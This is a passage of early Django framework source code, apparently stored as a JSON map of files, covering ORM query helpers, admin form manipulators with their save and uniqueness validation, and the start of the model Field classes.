if \".\" not in col_name and col_name not in [k[0] for k in kwargs.get('select', [])]:\n                    table_prefix = db.db.quote_name(opts.db_table) + '.'\n                else:\n                    table_prefix = ''\n            order_by.append('%s%s %s' % (table_prefix, db.db.quote_name(orderfield2column(col_name, opts)), order))\n    order_by = \", \".join(order_by)\n\n    # LIMIT and OFFSET clauses\n    if kwargs.get('limit') is not None:\n        limit_sql = \" %s \" % db.get_limit_offset_sql(kwargs['limit'], kwargs.get('offset'))\n    else:\n        assert kwargs.get('offset') is None, \"'offset' is not allowed without 'limit'\"\n        limit_sql = \"\"\n\n    return select, \" FROM \" + \",\".join(tables) + (where and \" WHERE \" + \" AND \".join(where) or \"\") + (order_by and \" ORDER BY \" + order_by or \"\") + limit_sql, params\n\ndef function_get_in_bulk(opts, klass, *args, **kwargs):\n    id_list = args and args[0] or kwargs['id_list']\n    assert id_list != [], \"get_in_bulk() cannot be passed an empty list.\"\n    kwargs['where'] = [\"%s.%s IN (%s)\" % (db.db.quote_name(opts.db_table), db.db.quote_name(opts.pk.column), \",\".join(['%s'] * len(id_list)))]\n    kwargs['params'] = id_list\n    obj_list = function_get_list(opts, klass, **kwargs)\n    return dict([(getattr(o, opts.pk.attname), o) for o in obj_list])\n\ndef function_get_latest(opts, klass, does_not_exist_exception, **kwargs):\n    kwargs['order_by'] = ('-' + opts.get_latest_by,)\n    kwargs['limit'] = 1\n    return function_get_object(opts, klass, does_not_exist_exception, **kwargs)\n\ndef function_get_date_list(opts, field, *args, **kwargs):\n    from django.core.db.typecasts import typecast_timestamp\n    kind = args and args[0] or kwargs['kind']\n    assert kind in (\"month\", \"year\", \"day\"), \"'kind' must be one of 'year', 'month' or 'day'.\"\n    order = 'ASC'\n    if kwargs.has_key('_order'):\n        order = kwargs['_order']\n        del kwargs['_order']\n    assert order in ('ASC', 'DESC'), \"'order' must be either 'ASC' or 'DESC'\"\n    kwargs['order_by'] = [] # Clear this because it'll mess things up otherwise.\n    if field.null:\n        kwargs.setdefault('where', []).append('%s.%s IS NOT NULL' % \\\n            (db.db.quote_name(opts.db_table), db.db.quote_name(field.column)))\n    select, sql, params = function_get_sql_clause(opts, **kwargs)\n    sql = 'SELECT %s %s GROUP BY 1 ORDER BY 1' % (db.get_date_trunc_sql(kind, '%s.%s' % (db.db.quote_name(opts.db_table), db.db.quote_name(field.column))), sql)\n    cursor = db.db.cursor()\n    cursor.execute(sql, params)\n    # We have to manually run typecast_timestamp(str()) on the results, because\n    # MySQL doesn't automatically cast the result of date functions as datetime\n    # objects -- MySQL returns the values as strings, instead.\n    return [typecast_timestamp(str(row[0])) for row in cursor.fetchall()]\n\n###################################\n# HELPER FUNCTIONS (MANIPULATORS) #\n###################################\n\ndef get_manipulator(opts, klass, extra_methods, add=False, change=False):\n    \"Returns the custom Manipulator (either add or change) for the given opts.\"\n    assert (add == False or change == False) and add != change, \"get_manipulator() can be passed add=True or change=True, but not both\"\n    man = types.ClassType('%sManipulator%s' % (opts.object_name, add and 'Add' or 'Change'), (formfields.Manipulator,), {})\n    man.__module__ = MODEL_PREFIX + '.' + opts.module_name # Set this explicitly, as above.\n    man.__init__ = curry(manipulator_init, opts, add, change)\n    man.save = curry(manipulator_save, opts, klass, add, change)\n    for field_name_list in opts.unique_together:\n        setattr(man, 'isUnique%s' % '_'.join(field_name_list), curry(manipulator_validator_unique_together, field_name_list, opts))\n    for f in opts.fields:\n        if f.unique_for_date:\n            setattr(man, 'isUnique%sFor%s' % (f.name, f.unique_for_date), curry(manipulator_validator_unique_for_date, f, opts.get_field(f.unique_for_date), opts, 'date'))\n        if f.unique_for_month:\n            setattr(man, 'isUnique%sFor%s' % (f.name, f.unique_for_month), curry(manipulator_validator_unique_for_date, f, opts.get_field(f.unique_for_month), opts, 'month'))\n        if f.unique_for_year:\n            setattr(man, 'isUnique%sFor%s' % (f.name, f.unique_for_year), curry(manipulator_validator_unique_for_date, f, opts.get_field(f.unique_for_year), opts, 'year'))\n    for k, v in extra_methods.items():\n        setattr(man, k, v)\n    return man\n\ndef manipulator_init(opts, add, change, self, obj_key=None):\n    if change:\n        assert obj_key is not None, \"ChangeManipulator.__init__() must be passed obj_key parameter.\"\n        self.obj_key = obj_key\n        try:\n            self.original_object = opts.get_model_module().get_object(pk=obj_key)\n        except ObjectDoesNotExist:\n            # If the object doesn't exist, this might be a manipulator for a\n            # one-to-one related object that hasn't created its subobject yet.\n            # For example, this might be a Restaurant for a Place that doesn't\n            # yet have restaurant information.\n            if opts.one_to_one_field:\n                # Sanity check -- Make sure the \"parent\" object exists.\n                # For example, make sure the Place exists for the Restaurant.\n                # Let the ObjectDoesNotExist exception propogate up.\n                lookup_kwargs = opts.one_to_one_field.rel.limit_choices_to\n                lookup_kwargs['%s__exact' % opts.one_to_one_field.rel.field_name] = obj_key\n                _ = opts.one_to_one_field.rel.to.get_model_module().get_object(**lookup_kwargs)\n                params = dict([(f.attname, f.get_default()) for f in opts.fields])\n                params[opts.pk.attname] = obj_key\n                self.original_object = opts.get_model_module().Klass(**params)\n            else:\n                raise\n    self.fields = []\n    for f in opts.fields + opts.many_to_many:\n        if f.editable and not (f.primary_key and change) and (not f.rel or not f.rel.edit_inline):\n            self.fields.extend(f.get_manipulator_fields(opts, self, change))\n\n    # Add fields for related objects.\n    for rel_opts, rel_field in opts.get_inline_related_objects():\n        if change:\n            count = getattr(self.original_object, 'get_%s_count' % opts.get_rel_object_method_name(rel_opts, rel_field))()\n            count += rel_field.rel.num_extra_on_change\n            if rel_field.rel.min_num_in_admin:\n                count = max(count, rel_field.rel.min_num_in_admin)\n            if rel_field.rel.max_num_in_admin:\n                count = min(count, rel_field.rel.max_num_in_admin)\n        else:\n            count = rel_field.rel.num_in_admin\n        for f in rel_opts.fields + rel_opts.many_to_many:\n            if f.editable and f != rel_field and (not f.primary_key or (f.primary_key and change)):\n                for i in range(count):\n                    self.fields.extend(f.get_manipulator_fields(rel_opts, self, change, name_prefix='%s.%d.' % (rel_opts.object_name.lower(), i), rel=True))\n\n    # Add field for ordering.\n    if change and opts.get_ordered_objects():\n        self.fields.append(formfields.CommaSeparatedIntegerField(field_name=\"order_\"))\n\ndef manipulator_save(opts, klass, add, change, self, new_data):\n    from django.utils.datastructures import DotExpandedDict\n    params = {}\n    for f in opts.fields:\n        # Fields with auto_now_add are another special case; they should keep\n        # their original value in the change stage.\n        if change and getattr(f, 'auto_now_add', False):\n            params[f.attname] = getattr(self.original_object, f.attname)\n        else:\n            params[f.attname] = f.get_manipulator_new_data(new_data)\n\n    if change:\n        params[opts.pk.attname] = self.obj_key\n\n    # First, save the basic object itself.\n    new_object = klass(**params)\n    new_object.save()\n\n    # Now that the object's been saved, save any uploaded files.\n    for f in opts.fields:\n        if isinstance(f, FileField):\n            f.save_file(new_data, new_object, change and self.original_object or None, change, rel=False)\n\n    # Calculate which primary fields have changed.\n    if change:\n        self.fields_added, self.fields_changed, self.fields_deleted = [], [], []\n        for f in opts.fields:\n            if not f.primary_key and str(getattr(self.original_object, f.attname)) != str(getattr(new_object, f.attname)):\n                self.fields_changed.append(f.verbose_name)\n\n    # Save many-to-many objects. Example: Poll.set_sites()\n    for f in opts.many_to_many:\n        if not f.rel.edit_inline:\n            was_changed = getattr(new_object, 'set_%s' % f.name)(new_data.getlist(f.name))\n            if change and was_changed:\n                self.fields_changed.append(f.verbose_name)\n\n    # Save many-to-one objects. Example: Add the Choice objects for a Poll.\n    for rel_opts, rel_field in opts.get_inline_related_objects():\n        # Create obj_list, which is a DotExpandedDict such as this:\n        # [('0', {'id': ['940'], 'choice': ['This is the first choice']}),\n        #  ('1', {'id': ['941'], 'choice': ['This is the second choice']}),\n        #  ('2', {'id': [''], 'choice': ['']})]\n        obj_list = DotExpandedDict(new_data.data)[rel_opts.object_name.lower()].items()\n        obj_list.sort(lambda x, y: cmp(int(x[0]), int(y[0])))\n        params = {}\n\n        # For each related item...\n        for _, rel_new_data in obj_list:\n\n            # Keep track of which core=True fields were provided.\n            # If all core fields were given, the related object will be saved.\n            # If none of the core fields were given, the object will be deleted.\n            # If some, but not all, of the fields were given, the validator would\n            # have caught that.\n            all_cores_given, all_cores_blank = True, True\n\n            # Get a reference to the old object. We'll use it to compare the\n            # old to the new, to see which fields have changed.\n            if change:\n                old_rel_obj = None\n                if rel_new_data[rel_opts.pk.name][0]:\n                    try:\n                        old_rel_obj = getattr(self.original_object, 'get_%s' % opts.get_rel_object_method_name(rel_opts, rel_field))(**{'%s__exact' % rel_opts.pk.name: rel_new_data[rel_opts.pk.attname][0]})\n                    except ObjectDoesNotExist:\n                        pass\n\n            for f in rel_opts.fields:\n                if f.core and not isinstance(f, FileField) and f.get_manipulator_new_data(rel_new_data, rel=True) in (None, ''):\n                    all_cores_given = False\n                elif f.core and not isinstance(f, FileField) and f.get_manipulator_new_data(rel_new_data, rel=True) not in (None, ''):\n                    all_cores_blank = False\n                # If this field isn't editable, give it the same value it had\n                # previously, according to the given ID. If the ID wasn't\n                # given, use a default value. FileFields are also a special\n                # case, because they'll be dealt with later.\n                if change and (isinstance(f, FileField) or not f.editable):\n                    if rel_new_data.get(rel_opts.pk.attname, False) and rel_new_data[rel_opts.pk.attname][0]:\n                        params[f.attname] = getattr(old_rel_obj, f.attname)\n                    else:\n                        params[f.attname] = f.get_default()\n                elif f == rel_field:\n                    params[f.attname] = getattr(new_object, rel_field.rel.field_name)\n                elif add and isinstance(f, AutoField):\n                    params[f.attname] = None\n                else:\n                    params[f.attname] = f.get_manipulator_new_data(rel_new_data, rel=True)\n                # Related links are a special case, because we have to\n                # manually set the \"content_type_id\" and \"object_id\" fields.\n                if opts.has_related_links and rel_opts.module_name == 'relatedlinks':\n                    contenttypes_mod = get_module('core', 'contenttypes')\n                    params['content_type_id'] = contenttypes_mod.get_object(package__label__exact=opts.app_label, python_module_name__exact=opts.module_name).id\n                    params['object_id'] = new_object.id\n\n            # Create the related item.\n            new_rel_obj = rel_opts.get_model_module().Klass(**params)\n\n            # If all the core fields were provided (non-empty), save the item.\n            if all_cores_given:\n                new_rel_obj.save()\n\n                # Save any uploaded files.\n                for f in rel_opts.fields:\n                    if isinstance(f, FileField) and rel_new_data.get(f.attname, False):\n                        f.save_file(rel_new_data, new_rel_obj, change and old_rel_obj or None, old_rel_obj is not None, rel=True)\n\n                # Calculate whether any fields have changed.\n                if change:\n                    if not old_rel_obj: # This object didn't exist before.\n                        self.fields_added.append('%s \"%r\"' % (rel_opts.verbose_name, new_rel_obj))\n                    else:\n                        for f in rel_opts.fields:\n                            if not f.primary_key and f != rel_field and str(getattr(old_rel_obj, f.attname)) != str(getattr(new_rel_obj, f.attname)):\n                                self.fields_changed.append('%s for %s \"%r\"' % (f.verbose_name, rel_opts.verbose_name, new_rel_obj))\n\n                # Save many-to-many objects.\n                for f in rel_opts.many_to_many:\n                    if not f.rel.edit_inline:\n                        was_changed = getattr(new_rel_obj, 'set_%s' % f.name)(rel_new_data[f.attname])\n                        if change and was_changed:\n                            self.fields_changed.append('%s for %s \"%s\"' % (f.verbose_name, rel_opts.verbose_name, new_rel_obj))\n\n            # If, in the change stage, all of the core fields were blank and\n            # the primary key (ID) was provided, delete the item.\n            if change and all_cores_blank and rel_new_data.has_key(rel_opts.pk.attname) and rel_new_data[rel_opts.pk.attname][0]:\n                new_rel_obj.delete()\n                self.fields_deleted.append('%s \"%r\"' % (rel_opts.verbose_name, old_rel_obj))\n\n    # Save the order, if applicable.\n    if change and opts.get_ordered_objects():\n        order = new_data['order_'] and map(int, new_data['order_'].split(',')) or []\n        for rel_opts in opts.get_ordered_objects():\n            getattr(new_object, 'set_%s_order' % rel_opts.object_name.lower())(order)\n    return new_object\n\ndef manipulator_validator_unique_together(field_name_list, opts, self, field_data, all_data):\n    from django.utils.text import get_text_list\n    field_list = [opts.get_field(field_name) for field_name in field_name_list]\n    if isinstance(field_list[0].rel, ManyToOne):\n        kwargs = {'%s__%s__iexact' % (field_name_list[0], field_list[0].rel.field_name): field_data}\n    else:\n        kwargs = {'%s__iexact' % field_name_list[0]: field_data}\n    for f in field_list[1:]:\n        field_val = all_data.get(f.attname, None)\n        if field_val is None:\n            # This will be caught by another validator, assuming the field\n            # doesn't have blank=True.\n            return\n        if isinstance(f.rel, ManyToOne):\n            kwargs['%s__pk' % f.name] = field_val\n        else:\n            kwargs['%s__iexact' % f.name] = field_val\n    mod = opts.get_model_module()\n    try:\n        old_obj = mod.get_object(**kwargs)\n    except ObjectDoesNotExist:\n        return\n    if hasattr(self, 'original_object') and getattr(self.original_object, opts.pk.attname) == getattr(old_obj, opts.pk.attname):\n        pass\n    else:\n        raise validators.ValidationError, \"%s with this %s already exists for the given %s.\" % \\\n            (capfirst(opts.verbose_name), field_list[0].verbose_name, get_text_list(field_name_list[1:], 'and'))\n\ndef manipulator_validator_unique_for_date(from_field, date_field, opts, lookup_type, self, field_data, all_data):\n    date_str = all_data.get(date_field.get_manipulator_field_names('')[0], None)\n    mod = opts.get_model_module()\n    date_val = formfields.DateField.html2python(date_str)\n    if date_val is None:\n        return # Date was invalid. This will be caught by another validator.\n    lookup_kwargs = {'%s__year' % date_field.name: date_val.year}\n    if isinstance(from_field.rel, ManyToOne):\n        lookup_kwargs['%s__pk' % from_field.name] = field_data\n    else:\n        lookup_kwargs['%s__iexact' % from_field.name] = field_data\n    if lookup_type in ('month', 'date'):\n        lookup_kwargs['%s__month' % date_field.name] = date_val.month\n    if lookup_type == 'date':\n        lookup_kwargs['%s__day' % date_field.name] = date_val.day\n    try:\n        old_obj = mod.get_object(**lookup_kwargs)\n    except ObjectDoesNotExist:\n        return\n    else:\n        if hasattr(self, 'original_object') and getattr(self.original_object, opts.pk.attname) == getattr(old_obj, opts.pk.attname):\n            pass\n        else:\n            format_string = (lookup_type == 'date') and '%B %d, %Y' or '%B %Y'\n            raise validators.ValidationError, \"Please enter a different %s. The one you entered is already being used for %s.\" % \\\n                (from_field.verbose_name, date_val.strftime(format_string))\n", "django/core/meta/fields.py": "from django.conf import settings\nfrom django.core import formfields, validators\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.utils.functional import curry, lazy\nfrom django.utils.text import capfirst\nfrom django.utils.translation import gettext_lazy\nimport datetime, os\n\n# Random entropy string used by \"default\" param.\nNOT_PROVIDED = 'oijpwojefiojpanv'\n\n# Values for filter_interface.\nHORIZONTAL, VERTICAL = 1, 2\n\n# The values to use for \"blank\" in SelectFields. Will be appended to the start of most \"choices\" lists.\nBLANK_CHOICE_DASH = [(\"\", \"---------\")]\nBLANK_CHOICE_NONE = [(\"\", \"None\")]\n\n# Values for Relation.edit_inline.\nTABULAR, STACKED = 1, 2\n\nRECURSIVE_RELATIONSHIP_CONSTANT = 'self'\n\n# prepares a value for use in a LIKE query\nprep_for_like_query = lambda x: str(x).replace(\"%\", \"\\%\").replace(\"_\", \"\\_\")\n\n# returns the <ul> class for a given radio_admin value\nget_ul_class = lambda x: 'radiolist%s' % ((x == HORIZONTAL) and ' inline' or '')\n\ndef string_concat(*strings):\n    \"\"\"\"\n    lazy variant of string concatenation, needed for translations that are\n    constructed from multiple parts. Handles lazy strings and non-strings by\n    first turning all arguments to strings, before joining them.\n    \"\"\"\n    return ''.join([str(el) for el in strings])\n\nstring_concat = lazy(string_concat, str)\n\ndef manipulator_valid_rel_key(f, self, field_data, all_data):\n    \"Validates that the value is a valid foreign key\"\n    mod = f.rel.to.get_model_module()\n    try:\n        mod.get_object(pk=field_data)\n    except ObjectDoesNotExist:\n        raise validators.ValidationError, \"Please enter a valid %s.\" % f.verbose_name\n\ndef manipulator_validator_unique(f, opts, self, field_data, all_data):\n    \"Validates that the value is unique for this field.\"\n    if f.rel and isinstance(f.rel, ManyToOne):\n        lookup_type = 'pk'\n    else:\n        lookup_type = 'exact'\n    try:\n        old_obj = opts.get_model_module().get_object(**{'%s__%s' % (f.name, lookup_type): field_data})\n    except ObjectDoesNotExist:\n        return\n    if hasattr(self, 'original_object') and getattr(self.original_object, opts.pk.attname) == getattr(old_obj, opts.pk.attname):\n        return\n    raise validators.ValidationError, \"%s with this %s already exists.\" % (capfirst(opts.verbose_name), f.verbose_name)\n\n\n# A guide to Field parameters:\n#\n#   * name:      The name of the field specifed in the model.\n#   * attname:   The attribute to use on the model object. This is the same as\n#                \"name\", except in the case of ForeignKeys, where \"_id\" is\n#                appended.\n#   * db_column: The db_column specified in the model (or None).\n#   * column:    The database column for this field. This is the same as\n#                \"attname\", except if db_column is specified.\n#\n# Code that introspects values, or does other dynamic things, should use\n# attname. For example, this gets the primary key value of object \"obj\":\n#\n#     getattr(obj, opts.pk.attname)\n\nclass Field(object):\n\n    # Designates whether empty strings fundamentally are allowed at the\n    # database level.\n    empty_strings_allowed = True\n\n    # Tracks each time a Field instance is created. Used to retain order.\n    creation_counter = 0\n\n    def __init__(self, verbose_name=None, name=None, primary_key=False,\n        maxlength=None, unique=False, blank=False, null=False, db_index=None,\n        core=False, rel=None, default=NOT_PROVIDED, editable=True,\n        prepopulate_from=None, unique_for_date=None, unique_for_month=None,\n        unique_for_year=None, validator_list=None, choices=None, radio_admin=None,\n        help_text='', db_column=None):\n        self.name = name\n        self.verbose_name = verbose_name or (name and name.replace('_', ' '))\n        self.primary_key = primary_key\n        self.maxlength, self.unique = maxlength, unique\n        self.blank, self.null = blank, null\n        self.core, self.rel, self.default = core, rel, default\n        self.editable = editable\n        self.validator_list = validator_list or []\n        self.prepopulate_from = prepopulate_from\n        self.unique_for_date, self.unique_for_month = unique_for_date, unique_for_month\n        self.unique_for_year = unique_for_year\n        self.choices = choices or []\n        self.radio_admin = radio_admin\n        self.help_text = help_text\n        self.db_column = db_column\n        if rel and isinstance(rel, ManyToMany):\n            if rel.raw_id_admin:\n                self.help_text = string_concat(self.help_text,\n                    gettext_lazy(' Separate multiple IDs with commas.'))\n            else:\n                self.help_text = string_concat(self.help_text,\n                    gettext_lazy(' Hold down \"Control\", or \"Command\" on a Mac, to select more than one.'))\n\n        # Set db_index to True if the field has a relationship and doesn't explicitly set db_index.\n        if db_index is None:\n            if isinstance(rel, OneToOne) or isinstance(rel, ManyToOne):\n                self.db_index = True\n            else:\n                self.db_index = False\n        else:\n            self.db_index = db_index\n\n        # Increase the creation counter, and save our local copy.\n        self.creation_counter = Field.creation_counter\n        Field.creation_counter += 1\n\n        self.attname, self.column = self.get_attname_column()\n\n    def set_name(self, name):\n        self.name = name\n        self.verbose_name = self.verbose_name or name.replace('_', ' ')\n        self.attname, self.column = self.get_attname_column()\n\n    def get_attname_column(self):\n        if isinstance(self.rel, ManyToOne):\n            attname = '%s_id' % self.name\n        else:\n            attname = self.name\n        column = self.db_column or attname\n        return attname, column\n\n    def get_cache_name(self):\n        return '_%s_cache' % self.name\n\n    def get_internal_type(self):\n        return self.__class__.__name__\n\n    def pre_save(self, value, add):\n        \"Returns field's value just before saving.\"\n        return value\n\n    def get_db_prep_save(self, value):\n        \"Returns field's value prepared for saving into a database.\"\n        return value\n\n    def get_db_prep_lookup(self, lookup_type, value):\n        \"Returns field's value prepared for database lookup.\"\n        if lookup_type in ('exact', 'gt', 'gte', 'lt', 'lte', 'ne', 'year', 'month', 'day'):\n            return [value]\n        elif lookup_type in ('range', 'in'):\n            return value\n        elif lookup_type in ('contains', 'icontains'):\n            return [\"%%%s%%\" % prep_for_like_query(value)]\n        elif lookup_type == 'iexact':\n            return [prep_for_like_query(value)]\n        elif lookup_type in ('startswith', 'istartswith'):\n            return [\"%s%%\" % prep_for_like_query(value)]\n        elif lookup_type in ('endswith', 'iendswith'):\n            return [\"%%%s\" % prep_for_like_query(value)]\n        elif lookup_type == 'isnull':\n            return []\n        raise TypeError, \"Field has invalid lookup: %s\" % lookup_type\n\n    def has_default(self):\n        \"Returns a boolean of whether this field has a default value.\"\n        return self.default != NOT_PROVIDED\n\n    def get_default(self):\n        \"Returns the default value for this field.\"\n        if self.default != NOT_PROVIDED:\n            if hasattr(self.default, '__get_value__'):\n                return self.default.__get_value__()\n            return self.default\n        if self.null:\n            return None\n        return \"\"\n\n    def get_manipulator_field_names(self, name_prefix):\n        \"\"\"\n        Returns a list of field names that this object adds to the manipulator.\n        \"\"\"\n        return [name_prefix + self.name]\n\n    def get_manipulator_fields(self, opts, manipulator, change, name_prefix='', rel=False):\n        \"\"\"\n        Returns a list of formfields.FormField instances for this field. It\n        calculates the choices at runtime, not at compile time.\n\n        name_prefix is a prefix to prepend to the \"field_name\" argument.\n        rel is a boolean specifying whether this field is in a related context.\n        \"\"\"\n        params = {'validator_list': self.validator_list[:]}\n        if self.maxlength and not self.choices: # Don't give SelectFields a maxlength parameter.\n            params['maxlength'] = self.maxlength\n        if isinstance(self.rel, ManyToOne):\n            if self.rel.raw_id_admin:\n                field_objs = self.get_manipulator_field_objs()\n                params['validator_list'].append(curry(manipulator_valid_rel_key, self, manipulator))\n            else:\n                if self.radio_admin:\n                    field_objs = [formfields.RadioSelectField]\n                    params['choices'] = self.get_choices(include_blank=self.blank, blank_choice=BLANK_CHOICE_NONE)\n                    params['ul_class'] = get_ul_class(self.radio_admin)\n                else:\n                    if self.null:\n                        field_objs = [formfields.NullSelectField]\n                    else:\n                        field_objs = [formfields.SelectField]\n                    params['choices'] = self.get_choices()\n        elif self.choices:\n            if self.radio_admin:\n                field_objs = [formfields.RadioSelectField]\n                params['choices'] = self.get_choices(include_blank=self.blank, blank_choice=BLANK_CHOICE_NONE)\n                params['ul_class'] = get_ul_class(self.radio_admin)\n            else:\n                field_objs = [formfields.SelectField]\n                params['choices'] = self.get_choices()\n        else:\n            field_objs = self.get_manipulator_field_objs()\n\n        # Add the \"unique\" validator(s).\n        for field_name_list in opts.unique_together:\n            if field_name_list[0] == self.name:\n                params['validator_list'].append(getattr(manipulator, 'isUnique%s' % '_'.join(field_name_list)))\n\n        # Add the \"unique for...\" validator(s).\n        if self.unique_for_date:\n            params['validator_list'].append(getattr(manipulator, 'isUnique%sFor%s' % (self.name, self.unique_for_date)))\n        if self.unique_for_month:\n            params['validator_list'].append(getattr(manipulator, 'isUnique%sFor%s' % (self.name, self.unique_for_month)))\n        if self.unique_for_year:\n            params['validator_list'].append(getattr(manipulator, 'isUnique%sFor%s' % (self.name, self.unique_for_year)))\n        if self.unique or (self.primary_key and not rel):\n            params['validator_list'].append(curry(manipulator_validator_unique, self, opts, manipulator))\n\n        # Only add is_required=True if the field cannot be blank. Primary keys\n        # are a special case, and fields in a related context should set this\n        # as False, because they'll be caught by a separate validator --\n        # RequiredIfOtherFieldGiven.\n        params['is_required'] = not self.blank and not self.primary_key and not rel\n\n        # If this field is in a related context, check whether any other fields\n        # in the related object have core=True. If so, add a validator --\n        # RequiredIfOtherFieldsGiven -- to this FormField.\n        if rel and not self.blank and not isinstance(self, AutoField) and not isinstance(self, FileField):\n            # First, get the core fields, if any.\n            core_field_names = []\n            for f in opts.fields:\n                if f.core and f != self:\n                    core_field_names.extend(f.get_manipulator_field_names(name_prefix))\n            # Now, if there are any, add the validator to this FormField.\n            if core_field_names:\n                params['validator_list'].append(validators.RequiredIfOtherFieldsGiven(core_field_names, \"This field is required.\"))\n\n        # BooleanFields (CheckboxFields) are a special case. They don't take\n        # is_required or validator_list.\n        if isinstance(self, BooleanField):\n            del params['validator_list'], params['is_required']\n\n        # Finally, add the field_names.\n        field_names = self.get_manipulator_field_names(name_prefix)\n        return [man(field_name=field_names[i], **params) for i, man in enumerate(field_objs)]\n\n    def get_manipulator_new_data(self, new_data, rel=False):\n        \"\"\"\n        Given the full new_data dictionary (from the manipulator), returns this\n        field's data.\n        \"\"\"\n        if rel:\n            return new_data.get(self.name, [self.get_default()])[0]\n        else:\n            val = new_data.get(self.name, self.get_default())\n            if not self.empty_strings_allowed and val == '' and self.null:\n                val = None\n            return val\n\n    def get_choices(self, include_blank=True, blank_choice=BLANK_CHOICE_DASH):\n        \"Returns a list of tuples used as SelectField choices for this field.\"\n        first_choice = include_blank and blank_choice or []\n        if self.choices:\n            return first_choice + list(self.choices)\n        rel_obj = self.rel.to\n        return first_choice + [(getattr(x, rel_obj.pk.attname), repr(x)) for x in rel_obj.get_model_module().get_list(**self.rel.limit_choices_to)]\n\nclass AutoField(Field):\n    empty_strings_allowed = False\n    def __init__(self, *args, **kwargs):\n        assert kwargs.get('primary_key', False) is True, \"%ss must have primary_key=True.\" % self.__class__.__name__\n        Field.__init__(self, *args, **kwargs)\n\n    def get_manipulator_fields(self, opts, manipulator, change, name_prefix='', rel=False):\n        if not rel:\n            return [] # Don't add a FormField unless it's in a related context.\n        return Field.get_manipulator_fields(self, opts, manipulator, change, name_prefix, rel)\n\n    def get_manipulator_field_objs(self):\n        return [formfields.HiddenField]\n\n    def get_manipulator_new_data(self, new_data, rel=False):\n        if not rel:\n            return None\n        return Field.get_manipulator_new_data(self, new_data, rel)\n\nclass BooleanField(Field):\n    def __init__(self, *args, **kwargs):\n        kwargs['blank'] = True\n        Field.__init__(self, *args, **kwargs)\n\n    def get_manipulator_field_objs(self):\n        return [formfields.CheckboxField]\n\nclass CharField(Field):\n    def get_manipulator_field_objs(self):\n        return [formfields.TextField]\n\nclass CommaSeparatedIntegerField(CharField):\n    def get_manipulator_field_objs(self):\n        return [formfields.CommaSeparatedIntegerField]\n\nclass DateField(Field):\n    empty_strings_allowed = False\n    def __init__(self, verbose_name=None, name=None, auto_now=False, auto_now_add=False, **kwargs):\n        self.auto_now, self.auto_now_add = auto_now, auto_now_add\n        if auto_now or auto_now_add:\n            kwargs['editable'] = False\n        Field.__init__(self, verbose_name, name, **kwargs)\n\n    def get_db_prep_lookup(self, lookup_type, value):\n        if lookup_type == 'range':\n            value = [str(v) for v in value]\n        else:\n            value = str(value)\n        return Field.get_db_prep_lookup(self, lookup_type, value)\n\n    def pre_save(self, value, add):\n        if self.auto_now or (self.auto_now_add and add):\n            return datetime.datetime.now()\n        return value\n\n    def get_db_prep_save(self, value):\n        # Casts dates into string format for entry into database.\n        if value is not None:\n            value = value.strftime('%Y-%m-%d')\n        return Field.get_db_prep_save(self, value)\n\n    def get_manipulator_field_objs(self):\n        return [formfields.DateField]\n\nclass DateTimeField(DateField):\n    def get_db_prep_save(self, value):\n        # Casts dates into string format for entry into database.\n        if value is not None:\n            # MySQL will throw a warning if microseconds are given, because it\n            # doesn't support microseconds.\n            if settings.DATABASE_ENGINE == 'mysql':\n                value = value.replace(microsecond=0)\n            value = str(value)\n        return Field.get_db_prep_save(self, value)\n\n    def get_manipulator_field_objs(self):\n        return [formfields.DateField, formfields.TimeField]\n\n    def get_manipulator_field_names(self, name_prefix):\n        return [name_prefix + self.name + '_date', name_prefix + self.name + '_time']\n\n    def get_manipulator_new_data(self, new_data, rel=False):\n        date_field, time_field = self.get_manipulator_field_names('')\n        if rel:\n            d = new_data.get(date_field, [None])[0]\n            t = new_data.get(time_field, [None])[0]\n        else:\n            d = new_data.get(date_field, None)\n            t = new_data.get(time_field, None)\n        if d is not None and t is not None:\n            return datetime.datetime.combine(d, t)\n        return self.get_default()\n\nclass EmailField(Field):\n    def get_manipulator_field_objs(self):\n        return [formfields.EmailField]\n\nclass FileField(Field):\n    def __init__(self, verbose_name=None, name=None, upload_to='', **kwargs):\n        self.upload_to = upload_to\n        Field.__init__(self, verbose_name, name, **kwargs)\n\n    def get_manipulator_fields(self, opts, manipulator, change, name_prefix='', rel=False):\n        field_list = Field.get_manipulator_fields(self, opts, manipulator, change, name_prefix, rel)\n\n        if not self.blank:\n            if rel:\n                # This validator makes sure FileFields work in a related context.\n                class RequiredFileField:\n                    def __init__(self, other_field_names, other_file_field_name):\n                        self.other_field_names = other_field_names\n                        self.other_file_field_name = other_file_field_name\n                        self.always_test = True\n                    def __call__(self, field_data, all_data):\n                        if not all_data.get(self.other_file_field_name, False):\n                            c = validators.RequiredIfOtherFieldsGiven(self.other_field_names, \"This field is required.\")\n                            c(field_data, all_data)\n                # First, get the core fields, if any.\n                core_field_names = []\n                for f in opts.fields:\n                    if f.core and f != self:\n                        core_field_names.extend(f.get_manipulator_field_names(name_prefix))\n                # Now, if there are any, add the validator to this FormField.\n                if core_field_names:\n                    field_list[0].validator_list.append(RequiredFileField(core_field_names, field_list[1].field_name))\n            else:\n                v = validators.RequiredIfOtherFieldNotGiven(field_list[1].field_name, \"This field is required.\")\n                v.always_test = True\n                field_list[0].validator_list.append(v)\n                field_list[0].is_required = field_list[1].is_required = False\n\n        # If the raw path is passed in, validate it's under the MEDIA_ROOT.\n        def isWithinMediaRoot(field_data, all_data):\n            f = os.path.abspath(os.path.join(settings.MEDIA_ROOT, field_data))\n            if not f.startswith(os.path.normpath(settings.MEDIA_ROOT)):\n                raise validators.ValidationError, \"Enter a valid filename.\"\n        field_list[1].validator_list.append(isWithinMediaRoot)\n        return field_list\n\n    def get_manipulator_field_objs(self):\n        return [formfields.FileUploadField, formfields.HiddenField]\n\n    def get_manipulator_field_names(self, name_prefix):\n        return [name_prefix + self.name + '_file', name_prefix + self.name]\n\n    def save_file(self, new_data, new_object, original_object, change, rel):\n        upload_field_name = self.get_manipulator_field_names('')[0]\n        if new_data.get(upload_field_name, False):\n            if rel:\n                getattr(new_object, 'save_%s_file' % self.name)(new_data[upload_field_name][0][\"filename\"], new_data[upload_field_name][0][\"content\"])\n            else:\n                getattr(new_object, 'save_%s_file' % self.name)(new_data[upload_field_name][\"filename\"], new_data[upload_field_name][\"content\"])\n\n    def get_directory_name(self):\n        return os.path.normpath(datetime.datetime.now().strftime(self.upload_to))\n\n    def get_filename(self, filename):\n        from django.utils.text import get_valid_filename\n        f = os.path.join(self.get_directory_name(), get_valid_filename(os.path.basename(filename)))\n        return os.path.normpath(f)\n\nclass FilePathField(Field):\n    def __init__(self, verbose_name=None, name=None, path='', match=None, recursive=False, 